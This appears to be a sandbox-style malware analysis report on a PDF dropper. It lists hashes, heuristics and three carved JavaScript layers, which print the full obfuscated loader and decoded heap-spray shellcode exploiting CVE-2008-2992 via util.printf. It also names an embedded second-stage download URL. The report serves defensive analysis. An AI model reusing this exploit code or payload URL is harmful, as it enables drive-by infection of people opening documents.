Malicious PDF — malware analysis report

Static analysis result for SHA-256 fc3d36f33c6b2b34…

MALICIOUS

PDF

4.1 KB First seen: 2012-07-12
MD5: 73e2444e0bccf5f971f10ce22c15aa2a SHA-1: 0d3fb648fb8ef4cf184a764233edcb5f02402ccd SHA-256: fc3d36f33c6b2b346c0cdc2ff86da7241e705ecb3d843677bbaafd018b5b9f18
336 Risk Score

Malware Insights

MITRE ATT&CK
T1203 Exploitation for Client Execution T1059.007 JavaScript

The PDF file contains embedded JavaScript that utilizes a heap spray technique and exploits CVE-2008-2992 via the util.printf API. The script decodes and evaluates obfuscated JavaScript, which in turn contains a URL for downloading a second-stage payload. This indicates a dropper functionality designed to fetch and execute further malicious code.

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 8

  • util.printf — CVE-2008-2992 critical CVE exact CVE_2008_2992
    PDF JavaScript calls util.printf() — CVE-2008-2992 is a stack buffer overflow in Adobe Reader triggered by a long format-specifier argument. Widely exploited in the wild after disclosure. (identified after JavaScript deobfuscation)
  • ClamAV: Pdf.Dropper.Agent-5343111-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Pdf.Dropper.Agent-5343111-0
  • JavaScript action low 3 related findings PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • PDF JavaScript exploit cluster critical PDF_JS_EXPLOIT_CLUSTER
    PDF combines an executable JavaScript/action surface with exploit staging indicators such as eval/unescape/fromCharCode, XFA script content, or a related CVE pattern. Benign form JavaScript remains low-severity, but this correlated cluster is high-confidence malicious behavior.
    Matched line in script
                            eval(output);
  • PDF exploit shellcode contains an embedded download URL high PDF_JS_SHELLCODE_DOWNLOAD_URL
    Decoded PDF exploit shellcode contains a hardcoded http(s) URL — stored as little-endian %uXXXX Unicode escapes, or hex-encoded in a document metadata field (/CreationDate, /Title) and referenced from the decoded script. Reader exploit shellcode embeds the second-stage fetch URL this way and pulls it down with a urlmon/URLDownloadToFile-style download-and-execute (commodity downloader behaviour rather than a specific Acrobat CVE).
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Suspicious extracted artifact medium EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://frjfLJTsZMt.elGABcdYg/F41B Referenced by PDF JavaScript
    • http://93.174.93.11/~delmonca/u/load.phpReferenced by PDF JavaScript

Related samples 8

Ranked by shared artifacts, heuristics, extracted URLs, CVEs, and signatures.

Full JSON: related samples API

Extracted artifacts 3

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0013_001.js pdf-javascript-stream PDF /JS object 13 at offset 0x368 6425 bytes
SHA-256: 73e5998d1ef45a5c4cd3682a10de8bd9ee85435daeb316b796380c54095a2bfe
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 4 eval/decoder/string-building token(s). Carved artifact contains 1 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
var Base64 = {
                _keyStr : "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=",
                decode : function (input) {
                        var output = "";
                        var chr1, chr2, chr3;
                        var enc1, enc2, enc3, enc4;
                        var i = 0;
                        input = input.replace(/[^A-Za-z0-9\+\/\=]/g, "");
                        while (i < input.length) {
                                enc1 = this._keyStr.indexOf(input.charAt(i++));
                                enc2 = this._keyStr.indexOf(input.charAt(i++));
                                enc3 = this._keyStr.indexOf(input.charAt(i++));
                                enc4 = this._keyStr.indexOf(input.charAt(i++));
                                chr1 = (enc1 << 2) | (enc2 >> 4);
                                chr2 = ((enc2 & 15) << 4) | (enc3 >> 2);
                                chr3 = ((enc3 & 3) << 6) | enc4;
                                output = output + String.fromCharCode(chr1);
                                if (enc3 != 64) {
                                        output = output + String.fromCharCode(chr2);
                                }
                                if (enc4 != 64) {
                                        output = output + String.fromCharCode(chr3);
                                }
                        }
                        eval(output);
                }
        }
        Base64.decode("ZnVuY3Rpb24gWWp1RW9IQUVjKGZtUjNwVSl7IHJldHVybiBTdHJpbmdbJ2Zyb21DaGFyQ29kZSddKGZtUjNwVSk7fSBmdW5jdGlvbiBoMDlpMW9VajQoZGRaSHRNOVVlOSl7IHZhciBDU3hDeEt1RUYzRTY1PTAsIEc1QXdCcWNYZEVZQmdYPWRkWkh0TTlVZTkubGVuZ3RoLCBzRmo0RTFqQjg9MTAyNCwgdmpycWc5NGd1dHVRTywgamxmMUxuSjBUYnNwWiwgdVVoTXNoMHk9JycsIFRLWnZpbnF6YnFvbT1DU3hDeEt1RUYzRTY1LCBwWFFXaFFtUlQ9Q1N4Q3hLdUVGM0U2NSwgeHlxdGYzVm5mYVY9Q1N4Q3hLdUVGM0U2NSwgZXEzMW9sQUFmZVRLPUFycmF5KDYzLDU4LDUzLDIyLDIzLDQ3LDQwLDIwLDEwLDcsMCwwLDAsMCwwLDAsNDksNTQsMTcsMTYsNjIsNDMsMjEsNTAsMzUsMSw1NSwxNCwyNSwyOSwyNyw0LDU3LDUyLDQ4LDM0LDM2LDM3LDMyLDMzLDgsMiw5LDAsMCwwLDAsNDEsMCw1OSwyNCw0NSw0Miw0NCwyNiwzLDEyLDExLDYxLDM5LDUxLDAsMTksMzAsNTYsNDYsMzEsMjgsMTUsMzgsNjAsNiwxOCwxMyw1KTsgZm9yKGpsZjFMbkowVGJzcFo9TWF0aC5jZWlsKEc1QXdCcWNYZEVZQmdYL3NGajRFMWpCOCk7amxmMUxuSjBUYnNwWj5DU3hDeEt1RUYzRTY1O2psZjFMbkowVGJzcFotLSl7IGZvcih2anJxZzk0Z3V0dVFPPU1hdGgubWluKEc1QXdCcWNYZEVZQmdYLHNGajRFMWpCOCk7dmpycWc5NGd1dHVRTz5DU3hDeEt1RUYzRTY1O3ZqcnFnOTRndXR1UU8tLSxHNUF3QnFjWGRFWUJnWC0tKXsgeHlxdGYzVm5mYVZ8PShlcTMxb2xBQWZlVEtbZGRaSHRNOVVlOS5jaGFyQ29kZUF0KFRLWnZpbnF6YnFvbSsrKS00OF0pPDxwWFFXaFFtUlQ7IGlmKHBYUVdoUW1SVCl7IHVVaE1zaDB5Kz1ZanVFb0hBRWMoMTIyXnh5cXRmM1ZuZmFWJjI1NSk7IHh5cXRmM1ZuZmFWPj49ODsgcFhRV2hRbVJULT0yOyB9IGVsc2UgeyBwWFFXaFFtUlQ9NjsgfSB9IH0gZXZhbCh1VWhNc2gweSk7IH0gaDA5aTFvVWo0KCdaWEA5M2JCd0ZwQDk5am16clRDd042Ujl4VzI0dHA3eEtVUTR0cDd4S1VRNHRwN3hLVVE0dDZPdDBWbDR0VDd4dFdsNHRST25QaFE0dFhUeHBoUTR0WFR4OGNRNHR2Z3RaVVE0dHZneEtVUTR0dmdLdmVsNHR2SEM4alE0dFJndDBUbDR0Umd0dlJsNHRYT0t5QGw0dHBndEtqbDR0dmd0MFJsNHRSVG4wUmw0dHZueGFSbDR0aE90aFBRNHRwT3h2VFE0dGhPdGhQUTR0UlF0MFFRNHR2Z3Q4VVE0dHZndDBWbDR0UlRuMFJsNHRWbEM4VVE0dFJReFkyUTR0dmx4YWVRNHQ2N244VVE0dHZndGljUTR0dmd0MFJsNHRlbEtoQFE0dFZsQzBWbDR0UTduWTJRNHRSUW5pY1E0dDY3bjBlUTR0dmd0aUBsNHR2Z3QwUmw0dGVsS2hAUTR0VmxDMFFRNHRUbEtZMlE0dGVUeHRAbDR0NjduWFBsNHR2Z3Q4UGw0dHZndDBSbDR0ZWxLaEBRNHRWbEMwVFE0dDZUeFkyUTR0Nk90WGNRNHQ2N25ZQGw0dHZndFpXbDR0dmd0MFJsNHRlbEtoQFE0dFZsQ3ZSbDR0VlF0WTJRNHQ2UUtnQFE0dDY3bnQyUTR0dmd0WHlRNHR2Z3QwUmw0dGVsS2hAUTR0ZWd0dlZsNHRwbm5oQGw0dGhRS1hVbDR0Uk9uaWpRNHRSbm5hZWw0dHZIQzhAUTR0dmd0MHZsNHRWbHgwUmw0dGhRS2hAUTR0UlRuUFZsNHR2Z0thZWw0dHZsdFlqUTR0UlRucFJRNHRSbm5wZWw0dDY3bnBoUTR0dmd0aFBRNHR2Z3QwUmw0dFg3bnBSbDR0UmxuRGhRNHRoT3RQNlE0dFFUQzgyUTR0dmd0MFJsNHRST24wUmw0dFJueGFlbDR0VlFLaFBRNHRWT3RoVWw0dFJPbnBSbDR0VGd0YWVsNHRlVHhZMlE0dHZndDBSbDR0Vmd0MFJsNHRlbEtoUFE0dFhRbnZWbDR0VmduMHBsNHRWbEtoUFE0dDY3bnZRUTR0dmd0WWpsNHR2Z3QwUmw0dGVsSzBUbDR0VlRDUFJsNHRWbngwUmw0dFRseGdjUTR0VlRDWWNsNHR2Z0thUmw0dFhRS2cyUTR0dmd0MFJsNHRoUUtpX1E0dFJUblBSbDR0dm54YWVsNHR2bHRZalE0dFJUbnBSUTR0Um5ucGVsNHRlZ3Q4MlE0dHZndDBSbDR0WFFuMFJsNHRWbm4wWFE0dGVsSzBUbDR0cG5LUFZsNHRWbktaUFE0dGVUeHBUbDR0VGd0Z2NsNHRWbktwUmw0dGVsS2hQUTR0WFFudlRRNHRWZ24wZWw0dFZsS2hQUTR0NjdudlFRNHR2Z3RQVGw0dHZndDBSbDR0dmd0WWpRNHRoUUtpX1E0dFJUblBSbDR0dm5uYWVsNHR2SHRZalE0dFJUbnBSUTR0Um5ucGVsNHRSZ3Q4MlE0dHZndDBSbDR0WFFuMFJsNHRSVG5pX1E0dFJndGFlbDR0dmx0WWpRNHRSVG5wUlE0dFJubnBlbDR0dmd0ODJRNHR2Z3QwUmw0dGVsdDBSbDR0Vkh0cHBRNHQ2UXQwVGw0dDZRdDBUbDR0NlF0MFRsNHQ2UXQwVGw0dDY3eGhVbDR0VmxuMFZsNHRSVG5wVGw0dDZUdFpqUTR0Vkh0aVpRNHQ2T3RpX1E0dFJUbnBlbDR0UlRuOFVRNHR2bm5nV1E0dFZneGhQUTR0VmxDMFRRNHRoN0toUFE0dFJUbkRUUTR0Umx4Z1dsNHR2bktnMlE0dFZsQ2lVbDR0aFFDaFBRNHR2bktQUmw0dHBuS2lVbDR0ZWduWEBRNHRwT3hhdmw0dFY3SzBUbDR0cG5LcGhRNHR2SHhpeVE0dFJndHRjUTR0ZVR0RHZRNHR2bm5nV2w0dFZReFhqbDR0dm5LMFZRNHRlZ3RpUGw0dGVRdDhQUTR0ZVF4RHBRNHRoUUtwZVE0dFZsbjhjbDR0NlRuaFBRNHRWbG5oUFE0dHZuS1BWbDR0WFFDWldRNHR2bnhoUFE0dFJUbmFwUTR0Um54cHZRNHRUT3gwVGw0dHZnS2hQUTR0dm5LaFBRNHRWbHhYY2w0dFZUdHBWUTR0dmd0MFFRNHRlT0s4MlE0dGVUeGljUTR0VmxLaV9RNHRlbnhwcGw0dGVIeGFWUTR0dmd0YWVRNHRRVG5oWlE0dFFUeHlQUTR0Vk90WmNsNHRUUUNYQGw0dFZRdFpVUTR0VDduWmNRNHRWUXRaUFE0dFQ3eFp5UTR0VFF4WGpsNHRWT3RaY1E0dFJUbnlqbDR0UjdLaGpRNHRST3RoUGw0dFI3eGhqbDR0Vk90aGNRNHRWT3R5alE0dFJPdGhVbDR0UlRuaGNRNHRRVHhYamw0dFFUeGhaTzNuelQzaGVJWWZVVllYc1FnN3ZCWUxlV1lyWHozcmpWeGE2UUtyalZ4YTZRS2J5RkNoZUlZZkJAejlXVHhJQFJ3WDZ6OU1zT3o0T0ZZeHZXejNUQnpvdklGM3ZJek1wVk9JMlZPbmJAOXhVVllYQ1V6ckNCOUtYV0JzUUA3WjZtWUJNN1k4VkNDaGVJWWZCQHpiVlJCWjZtWTdVUmdiVFZnWGhJek1YVXgzQEI5bnpPZ05WVjNacFJPTXM3WThWbUZadm13WnBtWW5DQjl4X1RGWjZtWTdMQDk3UVdneHN6OU1oRkN5WEBPM3ZXN1pwUk9NQ1V6ckNCOUtYQjdzUVdCOFptbjhfVHg4eUZZS2hCOTlVVmduUUI3WnBST01Peno0VklZSUBSd1g2MndYVlJ6OUJAOXk2MktYVlJ3Z1gyN0lAQnpYWDJPbXNUeEl5SW13Y094OF83Q25tQzdCeUZtTlZtWTRPR09tc0dCWnBST01PRll4dld6M1RCem92QEloZUlZZlBXejdzQEJiY094Z3lRQ2d5UUNneVFDYnp6M2d5UUNneU8zQlcyQ2d5UUNZWlRDWVpUQ1lXRjdiWlRDWVpUQ1laVENZWlRDWVpUQ1laVENZWlRDWVpUQ1laVENZWlRDWVdGN2JaVENZWlRDWVpUQ1laVENZWlRDWVpUQ1laVENZWlRDWVpUQ1laVENZWlRDWVpUQ1laVENZWlRDWVpUQ1laVENZWlRDWVpUQ1laVENZWlRDWVpUQ1laVENZWlRDWVpUQ1laVENZWlRDWVpUQ1laVENZWlRDWVpUQ1laVENZWlRDWVpUQ1laVENZWlRDWVpUQ1laVENZWlRDWVpUQ1laVENZWlRDWVpUQ1laVENZWlRDWVpUQ1laVENZWlRDWVpUQ1laVENZWlRDWVpUQ1laVENZWlRDYnp6M1laVENZWlRDWVpUQ1laVENZWlRDWVpUQ1laVENZWlRDWVpUQ1laVENZWlRDWVpPM0JXVUNZWlRDWVpUQ1laVENZWlRDYnp6M1laVENZWlRDWVpUQ1laVENZWlRDWVpUQ1lXRjdiWlRDWVpUQ1laVENZWlRDWVpUQ2J6UWdLaFd6N19tWW5DV2dzWHozclBRbjhfVHhzVlVGb2JJejRoRkMnKTs=");
acroform_b64_00.js deobfuscated-js PDF AcroForm base64 (decompressed) at offset 0x99D 3665 bytes
SHA-256: c91115e25286832b05aa68c77cf5424f0542fcca62eb85f280aabfea061beb9e
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 2 eval/decoder/string-building token(s). 36 of 49 identifiers look randomly generated (e.g. 'Q4tRTnPVl4tvgKael4tvltYjQ4tRTnpRQ4tRnnpe') — consistent with name-mangling obfuscation. Carved artifact contains 3 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
function YjuEoHAEc(fmR3pU){ return String['fromCharCode'](fmR3pU);} function h09i1oUj4(ddZHtM9Ue9){ var CSxCxKuEF3E65=0, G5AwBqcXdEYBgX=ddZHtM9Ue9.length, sFj4E1jB8=1024, vjrqg94gutuQO, jlf1LnJ0TbspZ, uUhMsh0y='', TKZvinqzbqom=CSxCxKuEF3E65, pXQWhQmRT=CSxCxKuEF3E65, xyqtf3VnfaV=CSxCxKuEF3E65, eq31olAAfeTK=Array(63,58,53,22,23,47,40,20,10,7,0,0,0,0,0,0,49,54,17,16,62,43,21,50,35,1,55,14,25,29,27,4,57,52,48,34,36,37,32,33,8,2,9,0,0,0,0,41,0,59,24,45,42,44,26,3,12,11,61,39,51,0,19,30,56,46,31,28,15,38,60,6,18,13,5); for(jlf1LnJ0TbspZ=Math.ceil(G5AwBqcXdEYBgX/sFj4E1jB8);jlf1LnJ0TbspZ>CSxCxKuEF3E65;jlf1LnJ0TbspZ--){ for(vjrqg94gutuQO=Math.min(G5AwBqcXdEYBgX,sFj4E1jB8);vjrqg94gutuQO>CSxCxKuEF3E65;vjrqg94gutuQO--,G5AwBqcXdEYBgX--){ xyqtf3VnfaV|=(eq31olAAfeTK[ddZHtM9Ue9.charCodeAt(TKZvinqzbqom++)-48])<<pXQWhQmRT; if(pXQWhQmRT){ uUhMsh0y+=YjuEoHAEc(122^xyqtf3VnfaV&255); xyqtf3VnfaV>>=8; pXQWhQmRT-=2; } else { pXQWhQmRT=6; } } } eval(uUhMsh0y); } h09i1oUj4('ZX@93bBwFp@99jmzrTCwN6R9xW24tp7xKUQ4tp7xKUQ4tp7xKUQ4t6Ot0Vl4tT7xtWl4tROnPhQ4tXTxphQ4tXTx8cQ4tvgtZUQ4tvgxKUQ4tvgKvel4tvHC8jQ4tRgt0Tl4tRgtvRl4tXOKy@l4tpgtKjl4tvgt0Rl4tRTn0Rl4tvnxaRl4thOthPQ4tpOxvTQ4thOthPQ4tRQt0QQ4tvgt8UQ4tvgt0Vl4tRTn0Rl4tVlC8UQ4tRQxY2Q4tvlxaeQ4t67n8UQ4tvgticQ4tvgt0Rl4telKh@Q4tVlC0Vl4tQ7nY2Q4tRQnicQ4t67n0eQ4tvgti@l4tvgt0Rl4telKh@Q4tVlC0QQ4tTlKY2Q4teTxt@l4t67nXPl4tvgt8Pl4tvgt0Rl4telKh@Q4tVlC0TQ4t6TxY2Q4t6OtXcQ4t67nY@l4tvgtZWl4tvgt0Rl4telKh@Q4tVlCvRl4tVQtY2Q4t6QKg@Q4t67nt2Q4tvgtXyQ4tvgt0Rl4telKh@Q4tegtvVl4tpnnh@l4thQKXUl4tROnijQ4tRnnael4tvHC8@Q4tvgt0vl4tVlx0Rl4thQKh@Q4tRTnPVl4tvgKael4tvltYjQ4tRTnpRQ4tRnnpel4t67nphQ4tvgthPQ4tvgt0Rl4tX7npRl4tRlnDhQ4thOtP6Q4tQTC82Q4tvgt0Rl4tROn0Rl4tRnxael4tVQKhPQ4tVOthUl4tROnpRl4tTgtael4teTxY2Q4tvgt0Rl4tVgt0Rl4telKhPQ4tXQnvVl4tVgn0pl4tVlKhPQ4t67nvQQ4tvgtYjl4tvgt0Rl4telK0Tl4tVTCPRl4tVnx0Rl4tTlxgcQ4tVTCYcl4tvgKaRl4tXQKg2Q4tvgt0Rl4thQKi_Q4tRTnPRl4tvnxael4tvltYjQ4tRTnpRQ4tRnnpel4tegt82Q4tvgt0Rl4tXQn0Rl4tVnn0XQ4telK0Tl4tpnKPVl4tVnKZPQ4teTxpTl4tTgtgcl4tVnKpRl4telKhPQ4tXQnvTQ4tVgn0el4tVlKhPQ4t67nvQQ4tvgtPTl4tvgt0Rl4tvgtYjQ4thQKi_Q4tRTnPRl4tvnnael4tvHtYjQ4tRTnpRQ4tRnnpel4tRgt82Q4tvgt0Rl4tXQn0Rl4tRTni_Q4tRgtael4tvltYjQ4tRTnpRQ4tRnnpel4tvgt82Q4tvgt0Rl4telt0Rl4tVHtppQ4t6Qt0Tl4t6Qt0Tl4t6Qt0Tl4t6Qt0Tl4t67xhUl4tVln0Vl4tRTnpTl4t6TtZjQ4tVHtiZQ4t6Oti_Q4tRTnpel4tRTn8UQ4tvnngWQ4tVgxhPQ4tVlC0TQ4th7KhPQ4tRTnDTQ4tRlxgWl4tvnKg2Q4tVlCiUl4thQChPQ4tvnKPRl4tpnKiUl4tegnX@Q4tpOxavl4tV7K0Tl4tpnKphQ4tvHxiyQ4tRgttcQ4teTtDvQ4tvnngWl4tVQxXjl4tvnK0VQ4tegtiPl4teQt8PQ4teQxDpQ4thQKpeQ4tVln8cl4t6TnhPQ4tVlnhPQ4tvnKPVl4tXQCZWQ4tvnxhPQ4tRTnapQ4tRnxpvQ4tTOx0Tl4tvgKhPQ4tvnKhPQ4tVlxXcl4tVTtpVQ4tvgt0QQ4teOK82Q4teTxicQ4tVlKi_Q4tenxppl4teHxaVQ4tvgtaeQ4tQTnhZQ4tQTxyPQ4tVOtZcl4tTQCX@l4tVQtZUQ4tT7nZcQ4tVQtZPQ4tT7xZyQ4tTQxXjl4tVOtZcQ4tRTnyjl4tR7KhjQ4tROthPl4tR7xhjl4tVOthcQ4tVOtyjQ4tROthUl4tRTnhcQ4tQTxXjl4tQTxhZO3nzT3heIYfUVYXsQg7vBYLeWYrXz3rjVxa6QKrjVxa6QKbyFCheIYfB@z9WTxI@RwX6z9MsOz4OFYxvWz3TBzovIF3vIzMpVOI2VOnb@9xUVYXCUzrCB9KXWBsQ@7Z6mYBM7Y8VCCheIYfB@zbVRBZ6mY7URgbTVgXhIzMXUx3@B9nzOgNVV3ZpROMs7Y8VmFZvmwZpmYnCB9x_TFZ6mY7L@97QWgxsz9MhFCyX@O3vW7ZpROMCUzrCB9KXB7sQWB8Zmn8_Tx8yFYKhB99UVgnQB7ZpROMOzz4VIYI@RwX62wXVRz9B@9y62KXVRwgX27I@BzXX2OmsTxIyImwcOx8_7CnmC7ByFmNVmY4OGOmsGBZpROMOFYxvWz3TBzov@IheIYfPWz7s@BbcOxgyQCgyQCgyQCbzz3gyQCgyO3BW2CgyQCYZTCYZTCYWF7bZTCYZTCYZTCYZTCYZTCYZTCYZTCYZTCYZTCYZTCYWF7bZTCYZTCYZTCYZTCYZTCYZTCYZTCYZTCYZTCYZTCYZTCYZTCYZTCYZTCYZTCYZTCYZTCYZTCYZTCYZTCYZTCYZTCYZTCYZTCYZTCYZTCYZTCYZTCYZTCYZTCYZTCYZTCYZTCYZTCYZTCYZTCYZTCYZTCYZTCYZTCYZTCYZTCYZTCYZTCYZTCYZTCYZTCYZTCYZTCYZTCYZTCYZTCYZTCbzz3YZTCYZTCYZTCYZTCYZTCYZTCYZTCYZTCYZTCYZTCYZTCYZO3BWUCYZTCYZTCYZTCYZTCbzz3YZTCYZTCYZTCYZTCYZTCYZTCYWF7bZTCYZTCYZTCYZTCYZTCbzQgKhWz7_mYnCWgsXz3rPQn8_TxsVUFobIz4hFC');
custom_b64_stage_000.js deobfuscated-js custom Base64 decoded JavaScript layer 2 (PDF /JS object 13) at offset 0x95E 2025 bytes
SHA-256: 85fe71200c33f398824631ccde606ec4fbbce8035fb8611c145accabab2137e1
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 2 eval/decoder/string-building token(s). Carved artifact contains 1 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
shellcode=unescape("%u4343%u4343%u4343%u0FEB%u335B%u66C9%u80B9%u8001%uEF33%uE243%uEBFA%uE805%uFFEC%uFFFF%u8B7F%uDF4E%uEFEF%u64EF%uE3AF%u9F64%u42F3%u9F64%u6EE7%uEF03%uEFEB%u64EF%uB903%u6187%uE1A1%u0703%uEF11%uEFEF%uAA66%uB9EB%u7787%u6511%u07E1%uEF1F%uEFEF%uAA66%uB9E7%uCA87%u105F%u072D%uEF0D%uEFEF%uAA66%uB9E3%u0087%u0F21%u078F%uEF3B%uEFEF%uAA66%uB9FF%u2E87%u0A96%u0757%uEF29%uEFEF%uAA66%uAFFB%uD76F%u9A2C%u6615%uF7AA%uE806%uEFEE%uB1EF%u9A66%u64CB%uEBAA%uEE85%u64B6%uF7BA%u07B9%uEF64%uEFEF%u87BF%uF5D9%u9FC0%u7807%uEFEF%u66EF%uF3AA%u2A64%u2F6C%u66BF%uCFAA%u1087%uEFEF%uBFEF%uAA64%u85FB%uB6ED%uBA64%u07F7%uEF8E%uEFEF%uAAEC%u28CF%uB3EF%uC191%u288A%uEBAF%u8A97%uEFEF%u9A10%u64CF%uE3AA%uEE85%u64B6%uF7BA%uAF07%uEFEF%u85EF%uB7E8%uAAEC%uDCCB%uBC34%u10BC%uCF9A%uBCBF%uAA64%u85F3%uB6EA%uBA64%u07F7%uEFCC%uEFEF%uEF85%u9A10%u64CF%uE7AA%uED85%u64B6%uF7BA%uFF07%uEFEF%u85EF%u6410%uFFAA%uEE85%u64B6%uF7BA%uEF07%uEFEF%uAEEF%uBDB4%u0EEC%u0EEC%u0EEC%u0EEC%u036C%uB5EB%u64BC%u0D35%uBD18%u0F10%u64BA%u6403%uE792%uB264%uB9E3%u9C64%u64D3%uF19B%uEC97%uB91C%u9964%uECCF%uDC1C%uA626%u42AE%u2CEC%uDCB9%uE019%uFF51%u1DD5%uE79B%u212E%uECE2%uAF1D%u1E04%u11D4%u9AB1%uB50A%u0464%uB564%uECCB%u8932%uE364%u64A4%uF3B5%u32EC%uEB64%uEC64%uB12A%u2DB2%uEFE7%u1B07%u1011%uBA10%uA3BD%uA0A2%uEFA1%u7468%u7074%u2F3A%u392F%u2E33%u3731%u2E34%u3339%u312E%u2F31%u647E%u6C65%u6F6D%u636E%u2F61%u2F75%u6F6C%u6461%u702E%u7068"); var spr=unescape("%u0A0A%u0A0A");var nm=20;var fg=nm+shellcode.length;while(spr.length<fg)spr+=spr;var nmbr=spr.substring(0,fg);var stig=spr.substring(0,spr.length-fg);while(stig.length+fg<0x60000)stig=stig+stig+nmbr;var arrm=new Array();for(iz=0;iz<1200;iz++){arrm[iz]=stig+shellcode}var dlnm="12999999999"+"99999"+"99998888888"+"888888888888888888888888888888"+"88888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888"+"88888888888888888888888888888888888"+"8888888888888"+"8888888888888888888"+"88888888888888";util.printf("%45000f",dlnm);

Open this report in the interactive analyzer, or submit your own file for analysis.